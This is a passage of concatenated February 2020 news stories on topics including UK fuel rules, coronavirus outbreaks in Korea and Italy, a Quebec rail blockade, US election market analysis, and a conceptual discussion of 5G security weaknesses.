while loose coal sold directly to customers from approved merchants will be phased out by February 2023. This, the government said, would enable suppliers and homes to transition to cleaner types of fuel such as manufactured solid fuel and dry wood, which, according to authorities, generate less pollution and are less expensive and more efficient. Restrictions on the sale of wet wood in packages of less than 2m3 two cubic meters will be introduced from February next year, while wet wood in bigger volumes will have to be "sold with advice on how to dry it before burning from this date." As the name indicates, wet wood contains moisture. When it is burned, it produces "smoke and harmful particulates" and should be "seasoned" or dried before burning. When it comes to manufactured solid fuels, the government said it would be introducing a limit on their use for domestic combustion. Producers of these fuels will have to show they have a "very low sulphur content and only emit a small amount of smoke." In addition, these kinds of fuels will have to be labeled as being compliant with new regulations. "Today's announcement on domestic burning is a welcome step forward, and will in time, play a role in reducing the pollution associated with PM2.5," Stephen Holgate, the Royal College of Physicians' special advisor on air quality, said in a statement. "Inhaling combustion particles from any source is harmful, but more so than ever when it's directly within your home," Holgate added. "Burning coal for heat and power has to stop and strong guidance is needed to insist that if wood is burnt in approved stoves, it is non-contaminated and dry." Local authorities and governments have been attempting to boost air quality through bans on certain types of fuel for years. In 1990 a ban on the "the marketing, sale and distribution of bituminous fuel" known as the "smoky coal ban" was introduced to Dublin. According to Ireland's Department of Communications, Climate Action and Environment, "approximately 8,000 premature deaths have been averted" in Dublin since the ban was introduced. In the years since, the ban has been introduced to other parts of the country. It has been supplemented by a ban on the actual burning of smoky coal as well as other banned fuels in so called Low Smoke Zones. A murder probe has been launched after a 42-year-old man was stabbed to death in north west London this morning. The victim, who police have named as Lennox Nigel Alecendor, was found in Cricklewood's Ansel Road with a knife wound to the neck. He was pronounced dead at the scene at around 7.30am. A post-mortem examination is due to take place tomorrow. Scotland Yard released a photo of the victim as it announced a murder probe had been launched. Detective Chief Inspector Simon Stancombe has pleaded for potential witnesses to come forward. He said: "This murder took place on a residential street as many people were waking up and starting their day. My officers are waiting to take calls from anyone who may have heard an altercation and looked out to witness the incident or who may have captured any of the events leading up to, during, or following the murder on dash cam. Every call is treated in strictest confidence and your information could help remove a dangerous criminal from your area. Please dont hesitate to make the call. No arrests have been made. In 2019, the State Security Service neutralized more than 480 cyber attacks on public authorities Sky News Ukraine expressed its solidarity with Georgia in condemning Russia's cyber attacks, about which Tbilisi had reported days before. Ukraines Ministry of Foreign Affairs informs about it. "Russia has once again demonstrated its disregard for the rules and principles of international law. Ukraine remains unfaltering in supporting Georgia's sovereignty and territorial integrity within its internationally recognized borders," the message reads. The Ministry also reminded about Russia's string of cyber attacks against Ukraine's national objects of critical infrastructure that took place in 2015. "Particularly cynical in this regard are Russia's efforts to push international initiatives on peaceful usage of cyberspace at international venues. Ukraine stands for the responsibility of those who intentionally organize and carry out cyber attacks. We call on the international community to take all measures to identify and hold accountable those individuals and particular states that coordinate and fund illegal activity in global cyberspace," the statement said. As we reported earlier, Russian military hackers have been trying to tap into the Ukrainian gas company, on board of which Hunter Biden served. According to the experts, the timing and scale of the attacks suggest that the Russians could be searching for potentially embarrassing material on the Bidens. Two German tourists were killed by an avalanche on the island of Spitsbergen, a part of the Svalbard archipelago, the Norwegian authorities said, Trend reports citing Sputnik. Both Germans were traveling in a tourist group that was provided with services of Russian Grumant Arctic Travel Company, the Norwegian authorities said on Thursday. The incident took place 15-20 kilometres (9-12 miles) south of the Russian settlement of Barentsburg. A helicopter with rescuers has been sent to the site. Svalbard is an archipelago in the Arctic Ocean, which belongs to Norway but, in line with the 1920 treaty, can be also used by some other countries, including Russia. Russia also maintains a consulate in the town of Barentsburg on the Spitsbergen archipelago. Korea on Thursday saw its first death from coronavirus as over 50 fresh cases were confirmed overnight and another 100 on Friday alone, bringing the total to more than 200. Schools in Daegu, which has become a hotbed of new infections, delayed reopening after their winter break, while streets were eerily empty as authorities urged residents to refrain from going outdoors. The Korea Centers for Disease Control and Prevention said the patient who died on Wednesday was a 65-year old man who was tested after cases were reported in the psychiatric ward of Daenam Hospital in Cheongdo, North Gyeongsang Province. He had been confined in a secure unit. The total number of infections among patients and staff at the hospital rose to 16. An official at the North Gyeongsang Province government said four of the 16 were staff. That makes Daenam Hospital a major variable in government efforts to stem the spread of the virus. The hospital could well be the source of the spread in the Daegu and North Gyeongsang Province. NEW YORK, Feb. 21, 2020 /PRNewswire/ -- A coalition of U.S. nail manufacturers today asked to join a court action here in order to sustain new tariffs ordered last month on importers violating U.S. trade policy. The American Steel Nail Coalition, whose members manufacture the vast majority of nails made in the United States, filed the request with the Court of International Trade. The court is considering an appeal by Oman Fasteners, based in a nation bordering Saudi Arabia that has become a major nail producer. In March 2018, President Trump, acting to protect national security under Section 232 of the Trade Expansion Act of 1962, imposed 25% tariffs on nearly all imports of steel coming into the United States. But that Proclamation excluded "derivative" steel products such as nails, which led to brazen circumvention and a flood of imports that continued to undermine the U.S. steel industry. On Jan. 24, the President issued a new Proclamation that extended tariffs to several kinds of steel nails and other derivative products. Trump took the action, said the Proclamation, because "domestic steel producers' capacity utilization has not stabilized for an extended period of time at or above the 80 percentnecessary to remove the threatened impairment of the national security." The Proclamation also noted that from June 2018 to May 2019, import volumes of nails and similar products increased 33% compared to the same period a year earlier. The Oman surge was even greater. In its Motion to Intervene today, the American Steel Nail Coalition noted that the volume of nails from Oman Fasteners into the U.S. jumped 95% over the 12 months ending May 2019. The Oman nails alone, coming from a single producer, were thus "a huge driver of the overall 33% increase." Cliff Mentrup, the CEO of Senco, the second-largest U.S. nail producer and a member of the Coalition, said today, "Senco is a proud U.S. manufacturer, based in Cincinnati and founded in a basement in 1935. We make our nails from American steel wire rod, and our business over the past two years has been severely hurt by the massive increases in imports from countries that are circumventing the Section 232 tariffs." Metrup continued, "The recent Proclamation helps restore a healthy steel industry by providing relief to American downstream steel customers like Senco, which is critical to the long-term health of the steel industry and our economy." In addition to Senco, members of the American Steel Nail Coalition include American Fasteners, of Jurupa Valley, Cal.; Legacy Fasteners, Poplar Bluff, Mo.; Mid Continent Steel & Wire, also of Poplar Bluff; Specialty Nail, Prairie Grove, Ark.; and Tree Island Wire USA, San Bernardino, Cal. Contact Elizabeth Heaton, [email protected], 202-445-9858 SOURCE The American Steel Nail Coalition After having someone blackmail him, Tim Cook now has a stalker. A man by the name of Rakesh Rocky Sharma has allegedly trespassed Apple CEOs private residence twice in the last three months, forcing him to obtain a restraining order against him. Rawpixel/ Reuters This is according to the court documents that Cult of Mac (through Dave Gershgorn) has obtained. Apparently, 42-year-old Rakesh Rocky Sharma also allegedly posted sexual imagery on his Twitter account, while tagging Tim Cook along with several other inappropriate activities. Activities like this forced Tim Cook as well as Apple security specialist William Burns to get a restraining order against him that doesnt permit him from being less than 200 yards near them. The documents submitted by Apples legal team has detailed Sharmas behaviour as erratic, threatening and bizarre. Reuters Trespassing Tim Cook's private property In December, Rakesh showed up at Tim Cooks residence carrying a bottle of champagne and flowers. A month later he trespassed through the property gate and came and rung the doorbell. Tim Cook called the Palo Alto police department but Rakesh managed to run away before the police could arrive. Sometime during September/October, he also called up an Apple employee (unnamed) and left disturbing voicemails. Most recent encounter with Rakesh 'Rocky' Sharma However, according to documents submitted by Apple in the court, on February 4th, 2020, Sharma made two nonsensical phone calls to Apple. In the first one he asked to speak to Apples Legal team claiming that he was a victim as before when he had called Apples customer service, they made fun of him while he was recovering in the hospital. To which he responded stating that he didnt find anything funny and that he was entitled to a cash settlement of an open check book. Reuters Apples legal team on February 5th sent a letter to cease and desist contacting Apple and its executive team. On that very day, he made several foul statements to a customer service rep on Apple Care support line while stating, I dont use ammunition but I know people who do, while claiming that Apples CEO is a criminal and theyve tried having Sharma killed while he was in the hospital. The temporary restraining order forbids Rakesh from purchasing or owning guns, firearms or ammunition. The court will hold a hearing on March 3 at Santa Clara County Superior Court on March 3 to see the status of whether a more permanent restraining order is needed. HungryPanda, a UK-based online food delivery service, raised $20M in funding. The round was led by 83North and Felix Capital. The company intends to use the funds to accelerate the growth of its team, build technology innovation and accelerate its global expansion, with a strong focus on the US market. Founded in the UK in 2017 and led by Eric Liu, CEO, HungryPanda is a specialist online food delivery platform serving Asian restaurants and overseas Chinese populations. Its online ordering platform provides a tailored user experience to overseas Chinese users to help them overcome cultural and language barriers and enables Asian restaurants to connect with the right customers and provide an efficient delivery service. The company now operates in 31 cities across the UK, North America, ANZ and Europe with plans to launch in 18 cities in the US in 2020. It currently employs over 300 people. FinSMEs 21/02/2020 "If Sanders can get up to 40 or maybe 45 per cent of the vote over the next month, hell pretty much get the nomination," Mr Gertken said. "Its going to be hard to kick him out." Its Sanders who would be truly unpriceable for markets the United States has never had that type of leader. Matt Gerken, BCA Research He believes that while such an outcome will be difficult for Sanders, its not an insurmountable task. "60 per cent of Democrats vote for centrists with the remainder voting for progressives," he said. "The only way Sanders wins will be if he gets that 40 per cent to himself. Whereas 60 per cent of those centrists is divided by five candidates right now." Should Sanders not be able to swing all progressive voters his way, Mr Gertken said this would increase the risk of contested Democratic convention. "In that environment, Sanders is not going to be the favourite," he said. Loading AMP Capitals head of investment strategy and chief economist, Shane Oliver, believes that while Sanders is the early front runner, his momentum is unlikely to be maintained long enough to see him win the Democratic nomination. "Sanders is benefiting from the decline of fellow far-left candidate Elizabeth Warren and the splintering of the centrist vote between Buttigieg, Klobuchar, Biden and Bloomberg when he joins the race on Super Tuesday on March 3," Dr Oliver said. "Even in the unlikely event Sanders gets the nomination, as an avowed socialist, he is unlikely to win in the midwest where it matters." Coupled with a strong US economy, something that history suggests will see Trump likely be re-elected, Dr Oliver believes that explains why the US sharemarket has been "non-fussed by the rise of Sanders". However, in an era where electoral surprises can and do happen, Mr Gertken said a shock Sanders victory would likely see that mindset change and fast. "For the Democratic nomination process, Sanders is the only thing thats an unknown unknown for the market," he said. "Policy centrists such as Biden or Bloomberg are known knowns - thats just Obama 2.0. Its Sanders who would be truly unpriceable for markets the United States has never had that type of leader." If Sanders can deliver one unexpected shock by securing the Democratic nomination, Mr Gertken warns there's a reasonable risk he will deliver another by becoming a formidable opponent for Trump in the general election. "Its not correct to assume that Sanders is a wild-eyed socialist crank who cant win the White House. Thats what some people will say," he said. "Sanders has been leading Trump in almost all of the past 50 head to head polls. He led Trump in 2016 by a greater margin than Hillary Clinton in the head to head polling, and hes specifically competitive in Michigan, Wisconsin and Pennsylvania hes always been about blue-collar manufacturing work his whole life." He said this makes Sanders "competitive with a very clear electoral path". Should that path take him to the Oval Office, Mr Gertken believes financial markets are ill-prepared for what will come next, especially if the Democrats take the Senate from the Republican Party. "If you can get enough voters out to kick out an incumbent president, youve probably rallied an enormous number of women, suburban voters, college-educated voters and minority voters," he said. "Just getting them to the polls almost ensures the Senate will switch to the Democrats as well." Mr Gertken said this should allow the Democrats to push through big legislative changes, including those that could upend the sectors in the US equity market that have been leading the bull market charge higher technology and healthcare. "As we saw in 2008 and 2016, its likely that if we have a change of power in the US, its a not constrained or limited change in power, its a 180-degree reversal which increases uncertainty," he said. Tom Porcelli, chief US economist at RBC Capital Markets, believes a Sanders victory would have a profound impact on equity markets, especially in the United States, given how disliked he is among investors. "Our equity strategy team has done quite a lot of work on this," Mr Porcelli said in a note previewing the Super Tuesday polls. "In recent client surveys they asked about implications for the equity market based on the various Democrats winning the presidency. Both Sanders and Elizabeth Warren represented by far the most bearish outcome." Although he still marginally favours a Trump victory, meaning an upending of the bull market in equities will likely be avoided, Mr Gertken believes theres significant longer-term implications for both the US dollar and treasury yields regardless of who wins the election on November 3. "The Democrats will not increase taxes enough to pay for the vast expansion of spending they want to do, and Republicans wont cut defence spending," he said. The latter reflects rising geopolitical tensions with China which he describes as a "cold war-type scenario". "This means we get large budget deficits at a time when were at the type of the business cycle. Over a longer-term period, theres no policy framework in which the US can have sound fiscal management." Loading Richard Franulovich, Westpac Banks New York-based head of FX strategy, said a Sanders victory could see US government spending double over the next decade. "Sanders plans for expanding healthcare to a single-payer system, tackling climate change, providing more affordable housing, writing off student debt, expanding education and boosting infrastructure spending amount to an eye-watering $US60 trillion-plus over a 10-year horizon," Mr Franulovich told clients. "This is an inconceivably large number considering the Congressional Budget Offices latest long-term projections for existing outlays amount to $US58 trillion over the next decade." Sea of devotees on Friday morning throng temples of Lord Shiva in several parts of the country to offer prayers on the occasion of Maha Shivratri. Devotees visited Babulnath Temple in Mumbai, Shri Gauri Shankar Temple in Delhi's Chandni Chowk and 'Shivala Bagh Bhaiyan' temple in Amritsar to offer prayers. The 25 feet tall 'shivling' at Brahma Kumaris in Kalaburagi, has been decorated with around 300 kg pigeon peas, local produce, on the occasion in Karnataka. In Odisha, L Eswar Rao, an artist from Bhubaneswar's Jatni, has made a miniature model of a 'Shivling', on a pencil nib and on the stone inside a small bottle on the occasion of Maha Shivratri. Maha Shivratri, which literally translates to 'the greatest night of Shiva' is one of the most splendidly celebrated festivals across the country. It celebrates the grand marriage of the lord of destruction, Shiva -- with the goddess of fertility, love, and beauty -- Parvati, who is also known as Shakti (power). According to Hindu mythology, on the night of the marriage, Lord Shiva had a very diverse group of acquaintances including Hindu gods, goddesses, animals, and demons escorting him to the house of the goddess. The duo of Shiv and Shakti is considered to be the epitome of love, power, and togetherness. The festival marking the initiation of their bond - 'Maha Shivratri' - is celebrated with great fervour across India. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) A longtime Seinfeld fan claims actor Jason Alexander called her a "sad, pathetic woman" during a recent Q&A session celebrating the 30th anniversary of the American sitcom. The comment was allegedly made at the ACT's Canberra Theatre Centre on Thursday evening. Alexander is currently touring Australia as part of the Master of His Domain Tour, which is billed as a night of "comedy, music and conversation". Seinfeld star Jason Alexander. Credit:Justin McManus Bethany Williams, the founder of the Canberra Nippers, said she had been waiting all night to ask Mr Alexander a question about his favourite behind-the-scenes memory of filming Seinfeld. When she finally had her turn, Ms Williams claims Mr Alexander shook his head and refused to answer. "He just kind of went, 'Ugh, you're a sad, pathetic woman'," she said. "Then he just moved on and didn't answer my question. I think people were pretty shocked. I was completely humiliated. He belittled me in front of a crowded theatre. ST-LAMBERT, Que. - A blockade south of Montreal that halted rail traffic and frayed nerves since Wednesday was abandoned late Friday after riot police arrived to enforce a court injunction. Hey there, time traveller! This article was published 21/2/2020 (690 days ago), so information in it may no longer be current. ST-LAMBERT, Que. - A blockade south of Montreal that halted rail traffic and frayed nerves since Wednesday was abandoned late Friday after riot police arrived to enforce a court injunction. The roughly two dozen protesters, acting in solidarity with Wet'suwet'en hereditary chiefs contesting a British Columbia natural gas pipeline, had begun dismantling the encampment earlier in the evening following discussions with police. Police serve an injunction to protesters at a rail blockade in St-Lambert, south of Montreal, Que. on Thursday, February 20, 2020. The protesters are blocking the line in solidarity with the Wet'suwet'en hereditary chiefs opposed to the LNG pipeline in northern British Columbia. THE CANADIAN PRESS/Ryan Remiorz They took downs tents and carried items such as sleeping bags, pots, propane tanks and a wood stove to the edge of a security perimeter established earlier in the day by Longueuil municipal police. Then at around 10 p.m., a spokesman wearing a ski mask and sunglasses announced the rail blockade in St-Lambert, Que., was ending but said the fight was not over. "Even though the colonial police is removing this barricade with violence and contempt, others will emerge," he said. He added that until the federal government listens to the hereditary chiefs, the RCMP leaves Wet'suwet'en territory and Coastal GasLink scraps the contentious pipeline, "the colonial Canadian state will be totally paralyzed." Emotions flared earlier in the day as the protesters dug in next to Canadian National Railway tracks despite being served with an injunction Thursday that ordered that the site be cleared. Quebec Premier Francois Legault called for the injunction to be enforced "rapidly." Protesters take belongings from a rail blockade in Saint-Lambert, Que., Friday, February 21, 2020. THE CANADIAN PRESS/Graham Hughes Police arrived in large numbers Friday afternoon near the encampment. There were several rounds of talks between police and the masked protesters, and as the impasse continued, some people chose to leave. The blockade interrupted freight traffic as well as passenger service for suburban commuters and Via Rail travellers. Wet'suwet'en hereditary chiefs oppose the Coastal GasLink project that would carry natural gas to the B.C. coast, though others in the community support the pipeline. Countrywide protests and blockades followed a move by RCMP to enforce a court injunction this month against the hereditary chiefs and their supporters, who had been obstructing an access road to a Coastal GasLink work site. Prime Minister Justin Trudeau on Friday called the blockades around the country unacceptable and said they have to come down. "Let us be clear: all Canadians are paying the price. Some people can't get to work, others have lost their jobs," Trudeau said. "Essential goods ... cannot get where they need to go." Jean-Yves Lessard, who joined the St-Lambert protesters on Friday morning, said Trudeau's government was to blame. "If they had done what they needed to at the beginning, people wouldn't be here," he said. "Sadly, it's bad for the economy and business, but it's not them you should be angry with. Tell Trudeau to go and sit down with the hereditary chiefs." Legault said he would leave it to police to enforce the injunction. "We need these tracks for transporting cargo, to avoid job losses, to avoid losses for companies," he said. "The law has to be respected, and obviously I hope it is done in an orderly fashion." The premier estimated losses to the provincial economy due to the rail blockades at up to $100 million a day. Denis Bisson, who owns a company north of Montreal that sells slate flooring and countertops, stopped by the blockade Friday. He said he depends on the rail line to supply his business with raw materials from a quarry in Nova Scotia. Switching to flatbed trucks would quadruple the cost per load, he said. "I'm afraid it's going to last two or three weeks, and I'm beginning to be out of stock in my yard," he said, holding a sign that read in French "hostage for one day or every day?!" A protester told him they were standing up for Indigenous rights and the environment. "But they are hitting people that have nothing to do with that," Bisson said. "They're making people pay for something that we're not involved in." The injunction granted to CN Thursday by Superior Court Justice France Dulude authorized "any police services or peace officers" to assist the company in executing the order in St-Lambert. This report by The Canadian Press was first published Feb. 21, 2020. Source: Xinhua| 2020-02-21 19:50:27|Editor: huaxia Video Player Close HANGZHOU, Feb. 21 (Xinhua) -- Livestreaming is expected to help boost business in the world's leading small commodities market in east China's Zhejiang Province. Merchants at Yiwu International Trade Market will be trading next week via livestreaming on China's e-commerce platform Taobao amid the novel coronavirus outbreak, according to Taobao on Friday. Selling goods through Taobao livestreaming has become a trendy practice. At present, more than 3,000 merchants at the market have begun selling their commodities through livestreaming to customers from around the world. Merchant Huang Xianping started selling products via online broadcasting on Thursday. On messaging app WeChat, she wrote, "Livestreaming services provided by Taobao will definitely bring new opportunities to us merchants." Through the livestreaming rooms, customers can not only see the products, but also save on travel expenses. In addition, selling goods through livestreaming platforms is more efficient for merchants. According to Taobao, since February, the number of new broadcasters has increased tenfold compared to the same period of January. Meanwhile, more than 10,000 people visit the learning platform "Taobao University" to improve their livestreaming skills on a daily basis. On Feb. 25, Taobao will open a free online course to help merchants learn about online operations. Dubbed as "the world's supermarket," Yiwu receives more than 550,000 overseas buyers and sells commodities to more than 210 countries and regions every year. It is home to the world's leading small commodities market. In 2019, there were more than 1.4 million non-natives and 15,000 overseas businesspeople in Yiwu. President Donald Trump is back at being obnoxious all over again. On Thursday, he scorned the best picture Oscar for South Korean film Parasite asking how a foreign movie could get the honor. "How bad was the Academy Awards this year?" Trump asked the crowd at a packed re-election campaign rally in Colorado Springs, Colorado. "We got enough problems with South Korea, with trade. On top of it, they give them the best movie of the year?" Trump asked in disbelief. Parasite, a dark comedy exploring class divides, made history by becoming the first non-English-language film to win Hollywood's biggest annual prize. Saying "was it good? I don't know," Trump seemed to indicate he had not watched the film. Trump, whose presidency has been built on a nationalist "America First" slogan, said it was time to bring back classics from Hollywood's golden age. AFP "Let''s get ''Gone With the Wind.'' Can we get ''Gone With the Wind'' back, please? ''Sunset Boulevard?''" he said. Trump also took a crack at Best Supporting Actor winner Brad Pitt, calling him "a little wiseguy." Pitt used his award acceptance speech to support the impeachment of Trump. TORONTO, ON // FEBRUARY 20, 2020 The sixth annual Motorama Custom Car & Motorsports Expo will feature a unique presentation by acclaimed automotive artists Ron Gibbs of Burlington, Ontario, Danno Drouin of Brantford, Ontario and Guelph, Ontarios Rollie Guertin. The trio will be combining their skills to create three distinct panels in real-time at Motorama. The show takes place on March 13, 14 & 15 at the International Centre, across from Torontos Pearson International Airport. Dubbed, Panel Jam, Gibbs, Drouin and Guertin will be pinstriping three black canvases on Saturday and Sunday in Gibbs booth near the Pintys Stage. Drouin and Guertin will also have their own individual booths featuring their award-winning artwork in the Mayhem room (Hall 4). For the past 20 years, Ive done demonstrations in airbrush and pinstriping, like this, at the SEMA Show for companies like House of Kolor and Sherwin-Williams, said Gibbs. And Ive known Danno and Rollie for years; theyre friends of mine and are well-known as two of the best pinstripers in Canada. Additionally, Gibbs will be producing a painting of the shows featured celebrity guest, Chip Foose, which will be auctioned off for charity on the Pintys Stage just prior to the announcement of the Motorama Grand Champion on Sunday afternoon. Thats a pretty big deal for me, said Gibbs. Ive known Chip for a long time and produced artwork for him over the years. Ill begin painting it about a week before Motorama and then finish it at the show. It will feature Chip and some of his most iconic cars. Gibbs is an airbrush artist, custom painter and proud Canadian with more than 45 years of experience and is recognized as one of the top airbrush artists and pinstripers in the world. Ive always been an artist and car guy at heart, and Ive transitioned from working primarily on cars to also doing automotive-based artwork as well, said Gibbs, who acquired the moniker CdnRatFink many years ago when an author of a car magazine story compared him to Ed Big Daddy Roth, the legendary automotive artist, custom car builder and creator of the Rat Fink character known throughout the automotive world. Gibbs custom paint work has won awards at some of the most prestigious custom car, truck and motorcycle shows in Canada and the United States, and has custom painted more than 25 vehicles for companies and manufacturers like Ford, General Motors, Chrysler, Mercedes and Iwata, many of which have been featured at the annual SEMA show in Las Vegas, Nevada. His work has been seen on the covers of many automotive, truck, motorcycle and art enthusiast magazines. In 2018, Gibbs earned the prestigious Painter Award at SEMA, which is considered one of the highest honours in automotive custom painting. He was also handpicked by Asset Iwata to be part of the Air Affair Group in Salt Lake City, Utah, consisting of 12 of the best airbrush artists and custom painters in the world. That was a real honour for me as I was the only Canadian in the group, said Gibbs. The largest airbrush / custom paint gallery in the world is in Salt Lake City at Asset Iwata and its amazing to have my work displayed in such a world-renowned gallery. Additionally, Gibbs work has appeared on television shows like Counting Cars, Bitchin Rides, Iron Resurrection, Chop Cut Rebuild, Dream Car Garage, Holmes on Homes and The Rick Mercer Report. On the motorsport side, Gibbs has produced artwork for the Canadian Motorsport Hall of Fame, and NASCAR teams like Joe Gibbs Racing, Roush Racing and Hendricks Motorsports. ABOUT RON GIBBS: Burlington, Ontario-based Ron Gibbs, dubbed the CdnRatFink is a proud Canadian and one of the most sought-after automotive artists in the world. His award-winning work has appeared on numerous magazine covers, in popular television shows, at every major automotive show in Canada and the United States and in some of the most prestigious art galleries in North America. In more than 45 years as an automotive artist, Gibbs has worked with legends in the custom car industry, including Chip Foose, and earned the one of the highest accolades an automotive artist can earn when he won the Painter Award at the 2018 SEMA Show in Las Vegas, Nevada. ABOUT THE MOTORAMA CUSTOM CAR & MOTORSPORTS EXPO: The sixth annual Motorama Custom Car & Motorsports Expo takes place March 13, 14 & 15, 2020 at The International Centre, across from Torontos Pearson International Airport. The show features more than 330,000 square feet of custom cars, hot rods, racing vehicles of all kinds, tuners, displays and exhibitors. Motorama is Canadas biggest late-winter celebration of automobiles and motorsports. For information about the show, including tickets, sponsorship and exhibitor opportunities, and more, call (416) 962-7223, email info@MotoramaShow.com or visit www.MotoramaShow.com. Advertisement She was pictured wearing a full Etro ensemble as she made her way to the fashion house's catwalk extravaganza on Friday, so it comes as little surprise that Irina Shayk led the glamour during their Milan Fashion Week show. The model joined the likes of Stella Maxwell, Doutzen Kroes and Joan Smalls on the runway to see the upcoming and hotly anticipated collection from Fall/Winter 2020. Irina looked incredible wearing a sharp black suit over a white shirt and cummerbund, while the other ladies sported boho designs. Fashion, dahhhling! Irina Shayk wore an androgynous suit as she joined fellow models (L-R) Stella Maxwell, Doutzen Kroes and Joan Smalls at the Etro show for Milan Fashion Week on Friday Look number two: Irina also teamed this incredible coat and white leather boots (left) - and was pictured wearing a full Etro look earlier in the day ahead of the show (right) Earlier in the day, she was pictured carrying a bucket bag from the Italian label's collaboration with Tom and Jerry, as well as a matching sweater. Stella Maxwell also looked incredible on the runway, wearing a paisley dress which had a daring split going up the front. She carried a black leather bag and over the knee sturdy boots. The dress was loosely fitted in design and was worn over a black polo neck. The FROW: Influencer Chiara Ferragni joined models Halima Aden, Elsa Hosk and Romee Strijd at the show Marching orders: Stella carried a black leather bag and over the knee sturdy boots. The dress was loosely fitted in design and was worn over a black polo neck Incredible: Joan's runway moment was iconic with the gothic backdrop and moody lighting In line: Doutzen led the models in an epic PVC patterned coat as the fash-pack watched on Stella was pictured walking outside ahead of the show wearing 90s inspired double denim and a white crop top which showed off her tummy. Doutzen wore a checked brown coat which was cinched in at the waist with a leather belt and she wore contrasting tan leather boots. Earlier in the day, she was pictured heading to the show wearing a blue blazer over jeans - she added a pop of colour to her look with a pillarbox red bag which she carried on one shoulder. Backstage moment: Irina posed for snaps before heading out on the catwalk Model behaviour: Irina and Stella were pictured heading to the venue ahead of the show High shine: Doutzen and Eva cosied up in matching vinyl coats in a sweet backstage moment Joan also looked incredible on the catwalk, wearing a boho-inspired dress which had angel sleeves and was semi-sheer in design. The models were in good company on the day as a host of other famous famous came along to watch the show. Eva Herzigova was pictured outside wearing a patterned mint green patterned ensemble which she teamed with a matching black vinyl coat. And there were a host of glamorous beauties sitting on the FROW at the show, including influencer, Chiara Ferragni, as well as models Halima Aden, Elsa Hosk and Romee Strijd/ Double denim: Stella was pictured heading to the show earlier in the day, wearing a white crop top (left) and Doutzen (right) wore a bright ensemble Hot to trot: Eva Herzigova (left and right) was pictured outside wearing a patterned mint green patterned ensemble which she teamed with a matching black vinyl coat As countries around the world begin deploying 5G technology, the promises of faster speeds and better service sometime obscure a host of security issues affecting the next-generation cellular technology. These security concerns exist despite improvements in data encryption, authentication and privacy embodied in recent releases of the Third Generation Partnership Project (3GPP), the technical standards organization for cellular communications. The most prominent of 5G security fears are highlighted in the Trump administrations fight to ban technology from Chinas tech giant Huawei from U.S. next-generation networks. The U.S. government is also seeking to persuade European and other allies to shun Huawei, an effort that has met with limited success. The basic fear driving the Huawei ban is that the company caters to the government in Beijing and might very well embed surveillance capabilities into its technology or otherwise spy for the Chinese government, making 5G completely insecure from the get-go. Old cellular vulnerabilities not addressed by 5G Other security issues in 5G technology have been flagged by experts. One expert, Roger Piqueras Jover, kicked off a talk on the topic at this years Shmoocon conference by noting that although some mobile technology companies tout 5G as more secure, researchers are pointing out problems and before the technology has even launched. (Jover is a security engineer in the CTOs office of Bloomberg L.P. by day but a mobile technology researcher on the side. His mobile technology analysis does not reflect the views of Bloomberg). In his presentation, and later in discussions with CSO, Jover said the main overarching problems plaguing previous generations of mobile technology GSM, 4G, and LTE have not been addressed in 5G standards and plans. One, in particular, the ability to intercept so-called pre-authentication messages between the users base station and the cellular tower, still exists in the 5G specifications and proposed architectures and could allow attackers to intercept messages in the clear. In cellular, your phone hears broadcast messages from a tower. Could be 3G, could be 4G, could be 5G. The tower is saying, Hey, Im your operator, Jover explains to CSO. There is no cryptographic way to verify that, so you implicitly trust that thats true. There is a cryptographic handshake once the carrier begins to route the messages. Still, in this pre-authentication stage, There are a lot of messages exchanged in both directions that you implicitly trust. You trust that you are talking to a real operator, and the operator trusts that it is talking with a smartphone, Jover says. By abusing these unprotected messages, malicious actors can do all kinds of things. Both LTE and 5G standards developed to thwart this international mobile subscriber identity (IMSI) catching, or in the terminology of 5G technology, Subscription Permanent Identifier (SUPI) attacks, but those standards are optional. In general, optional features never get implemented, Jover said. The digital certificate solution One solution to this problem is straightforward, according to Jover. Implement digital certificates in 5G, along with the signifiers that indicate the connection is using encryption technology. Certificates have been used for over ten years. This technology is fairly mature. Why not use the same technology? he says. I personally feel comfortable typing my credit card in a website that has an HTTPS lock icon in the address bar, indicating an encrypted connection. You could, and probably should, use digital certificates to provide these devices with a way to cryptographically verify that they are indeed talking with a base station, says Jover. These certificates could also help screen out sites from undesirable sources or locations. If you use digital certificates, you can very easily decide which certificate authorities you trust. There are some complications, Jover notes. First, as he acknowledged at Shmoocon, It would require a lot of global efforts of standards, because 5G standards dont currently accommodate this kind of encryption certification. Secondly, smartphones have no way of blocking in advance certificates that were once trusted but have now been revoked, because until users actually make a connection with the carrier, they arent able to access the internet. Although it might be helpful to have digital certificate capability in 5G networks, "There are 20 problems with 5G, and this might be problem number 17, cryptographer and fellow and lecturer at the Harvard Kennedy School Bruce Schneier tells CSO. Certificates wont solve all 5G trust problems Although Schneier said he had not reviewed Jovers work, he argues there are much larger and more significant security concerns that surround the deployment of 5G. You dont jump from a certificate system that helps authenticate unauthenticated messages to solving the trust problem, Schneier says. Were afraid that Huawei puts backdoors in their chips. That is a trust problem that has nothing to do with unauthenticated messages. As both Jover and Schneier acknowledge, there are a lot of security problems with 5G up and down multiple layers of its protocol stack. Both appear to be fans of the 5GReasoner proposal put forth by researchers from Purdue University and the University of Iowa that presents a framework for dealing with the complex and use-case-sensitive issues surrounding 5G. That paper is the greatest thing that has happened in cellular, Jover tells CSO. The truth is, Nobody wants 5G security, Schneier tells CSO. Governments like spying on 5G. Carriers dont care very much. Theyll do what the law says. A lot of those vulnerabilities that carried over from 4G were put there by the government, or at least werent fixed in the [standards-setting body] ITU, Schneier says. In short, its too late to do anything about 5G security at the foundational levels. If thats true, the world will have to wait for security fixes in 6G, which will likely deploy commercially around 2030, according to most experts. RTHK: Italian towns in lockdown over coronavirus fears Authorities in northern Italy have ordered the closure of schools, bars and other public spaces in 10 towns following a flurry of new coronavirus cases. Five doctors and 10 other people tested positive for the virus in Lombardy, after apparently frequenting the same bar and group of friends, with two other cases in Veneto, authorities said at a press conference. Over 50,000 people have been asked to stay at home in the areas concerned, while all public activities such as carnival celebrations, church masses and sporting events have been banned for up to a week. Italian Prime Minister Giuseppe Conte said "everything is under control", and stressed the government was maintaining "an extremely high level of precaution". Streets in the towns were deserted, with only a few people seen abroad, and signs showing public spaces closed. In Casalpusterlengo, a large electronic message board outside the town hall read "Coronavirus: the population is invited to remain indoors as a precaution". The first town to be shuttered was Codogno, with a population of 15,000, where three people tested positive for the virus, including a 38-year old man and his wife, who is eight months pregnant. Three others there have tested positive to a first novel coronavirus test and are awaiting their definitive results. Codogno mayor Francesco Passerini said the news of the cases "has sparked alarm" throughout the town south of Milan. The 38-year old, who works for Unilever in Lodi, was in a serious condition in intensive care. (AFP) This story 